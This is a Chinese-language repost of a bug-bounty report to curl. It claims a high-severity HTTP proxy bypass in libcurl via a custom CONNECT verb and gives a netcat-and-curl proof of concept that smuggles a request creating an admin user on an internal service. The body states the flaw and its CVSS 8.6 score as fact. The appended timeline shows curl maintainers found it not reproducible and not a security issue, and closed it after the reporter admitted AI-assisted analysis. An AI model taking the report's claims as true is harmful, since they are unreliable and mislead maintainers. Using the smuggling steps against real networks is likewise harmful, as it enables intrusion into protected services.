通过CURLOPT_CUSTOMREQUEST动词隧道绕过HTTP代理的安全漏洞分析

本文详细分析了libcurl 8.14.1版本中存在的逻辑缺陷,攻击者可通过CURLOPT_CUSTOMREQUEST设置CONNECT方法,绕过仅允许CONNECT的HTTP代理防火墙,实现任意数据发送到受保护的内网服务。

HTTP Proxy Bypass via CURLOPT_CUSTOMREQUEST Verb Tunneling

摘要

libcurl版本8.14.1中存在一个逻辑缺陷,允许攻击者通过在CONNECT请求中"隧道化"任意HTTP动词来绕过限制性HTTP代理防火墙。通过为标准的http:// URL设置CURLOPT_CUSTOMREQUEST为CONNECT,攻击者可以欺骗libcurl创建一个混合请求。该请求被仅允许CONNECT的代理误解为合法的隧道设置请求,因此被允许。随后,libcurl通过这个新建立的、未经过滤的TCP管道发送其请求体(例如,来自CURLOPT_POSTFIELDS)。

此漏洞有效地破坏了在代理层实施的网络分段规则,使能够控制curl选项的攻击者(例如,通过SSRF)能够向受保护的内部服务发送任意数据。

产品信息

  • 产品名称: libcurl
  • 受影响版本: 8.14.1(及可能更早版本)
  • 漏洞类别: CWE-284 不正确的访问控制
  • CVSS 3.1 分数: 8.6(高)
  • CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

描述

该漏洞源于在使用代理时,用户定义的请求方法与libcurl假定的请求类型之间缺乏足够的验证。

当用户提供http:// URL和代理时,libcurl准备一个标准的非隧道代理请求(例如,GET http://destination/… HTTP/1.1)。 如果用户还将CURLOPT_CUSTOMREQUEST设置为"CONNECT internal.host:port HTTP/1.1",这个自定义动词将覆盖标准的GET。 发送到代理的请求行现在以CONNECT开头,这满足仅允许CONNECT方法建立隧道的代理的安全规则。代理允许该请求,并打开到指定内部主机和端口的原始TCP连接。 由于原始URL方案是http://,libcurl的状态机不会进入其正式的"HTTPS隧道"模式。它继续进行,就好像在发出POST风格的请求(由于存在请求体),并将有效载荷发送到代理刚刚打开的TCP管道中。

这允许攻击者将任意数据直接发送到本应无法访问的内部服务。

概念验证(PoC)

此PoC使用标准命令行工具演示绕过。需要三个独立的终端会话。

步骤1:设置"禁止"内部服务器(终端1)

此服务器监听端口8081。其目的是接收并显示走私的有效载荷。

1
2
echo "[VICTIM] Listening on 127.0.0.1:8081..."
nc -l -p 8081

步骤2:设置限制性代理(终端2)

此代理监听端口8080,仅允许以CONNECT开头的请求。对于任何其他动词,它响应405 Method Not Allowed。

将此脚本保存为restrictive_proxy.sh,并使用chmod +x restrictive_proxy.sh使其可执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/bin/bash
read -r request_line
echo "[PROXY] Received: '$request_line'" >&2
if [[ "$request_line" == "CONNECT"* ]]; then
 echo "[PROXY] Verdict: ALLOWED. Opening tunnel." >&2
 destination=$(echo "$request_line" | awk '{print $2}')
 echo -e "HTTP/1.1 200 Connection established\r\n"
 # Pipe the rest of the client's input to the destination
 nc -w 5 $(echo "$destination" | sed 's/:/ /')
else
 echo "[PROXY] Verdict: BLOCKED. Sending 405." >&2
 echo -e "HTTP/1.1 405 Method Not Allowed\r\nContent-Length: 0\r\n\r\n"
fi

在循环中运行代理以处理多个连接:

1
while true; do ./restrictive_proxy.sh | nc -l -p 8080; done

步骤3:验证保护措施(终端3)

此命令证明代理正确阻止正常的GET请求。

1
2
# This request should fail.
curl -v --proxy http://127.0.0.1:8080 "http://internal-server.local:8081/status"

预期结果:代理将响应405 Method Not Allowed,curl命令将失败。内部服务器将不会收到连接。

步骤4:制作攻击者有效载荷(终端3)

创建一个名为payload.txt的文件,包含要走私的数据。

1
echo -e "POST /api/v1/users HTTP/1.1\r\nHost: internal-server.local\r\nContent-Type: application/json\r\n\r\n{\"username\":\"pwned\",\"is_admin\":true}" > payload.txt

步骤5:执行绕过攻击(终端3)

此命令利用漏洞绕过代理。

1
2
3
4
5
# This request should succeed in tricking the proxy.
curl -v --proxy http://127.0.0.1:8080 \
  --request "CONNECT 127.0.0.1:8081 HTTP/1.1" \
  --data-binary "@payload.txt" \
  "http://ignored-url.com"

步骤6:观察结果

  • 代理(终端2):将打印[PROXY] Verdict: ALLOWED…,显示它被CONNECT动词欺骗。
  • 内部服务器(终端1):将停止等待并打印payload.txt的内容,证明代理被绕过,恶意有效载荷已传递到受保护的内部资源。
1
2
3
4
5
POST /api/v1/users HTTP/1.1
Host: internal-server.local
Content-Type: application/json

{"username":"pwned","is_admin":true}

影响

此漏洞的影响为高。它允许能够控制libcurl选项的攻击者(服务器端请求伪造漏洞的常见结果)完全绕过由仅允许CONNECT的代理实施的网络出口过滤规则。这可能导致:

  • 内部网络渗透:攻击者可以使用面向公众的应用程序作为支点,向内部不可路由服务(如数据库、内部API或云元数据服务)发送任意命令。
  • 数据泄露:建立的隧道可用于从受感染的内部系统泄露敏感数据。
  • 防火墙和WAF绕过:代理上设计用于检查GET和POST请求的应用层防火墙变得无效,因为攻击者的有效载荷是通过代理未配置检查的原始TCP管道发送的。

这将潜在中等风险的SSRF缺陷转变为关键的内部网络访问向量,显著提高了组织基础设施的整体风险。

建议的缓解措施

lib/http.c中的逻辑应加强,以在使用代理时在URL的方案和允许的HTTP方法之间建立更强的链接。建议的修复方法是: 如果使用http:// URL与代理,libcurl应明确禁止将CURLOPT_CUSTOMREQUEST设置为CONNECT。CONNECT方法应仅由libcurl的内部隧道逻辑在使用https:// URL被代理时使用,并且不应该是用户可控制的动词用于标准http://代理请求。这将关闭允许此绕过的逻辑间隙。

时间线

  • 2025年7月1日,12:47 PM UTC: alphox向curl提交报告。
  • 2025年7月1日,1:20 PM UTC: jimfuller2024(curl工作人员)发表评论,表示无法复现。
  • 2025年7月1日,1:56 PM UTC: bagder(curl工作人员)发表评论,认为这是有效的curl功能,而非安全问题。
  • 15天前: alphox确认使用了AI工具进行初始代码分析,但手动构建了PoC。
  • 15天前: bagder关闭报告并将状态更改为"不适用",指出使用AI违反条款,导致提交了非问题报告,并禁止了提交者。
  • 15天前: bagder请求披露此报告。
  • 15天前: bagder披露了此报告。

报告详情

  • 报告日期: 2025年7月1日,12:47 PM UTC
  • 报告者: alphox
  • 报告对象: curl
  • 报告ID: #3231321
  • 严重性: 高(7 ~ 8.9)
  • 披露日期: 2025年7月1日,2:20 PM UTC
  • 弱点: 不正确的访问控制 - 通用
  • CVE ID: 无
  • 赏金: 无
  • 账户详情: 无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计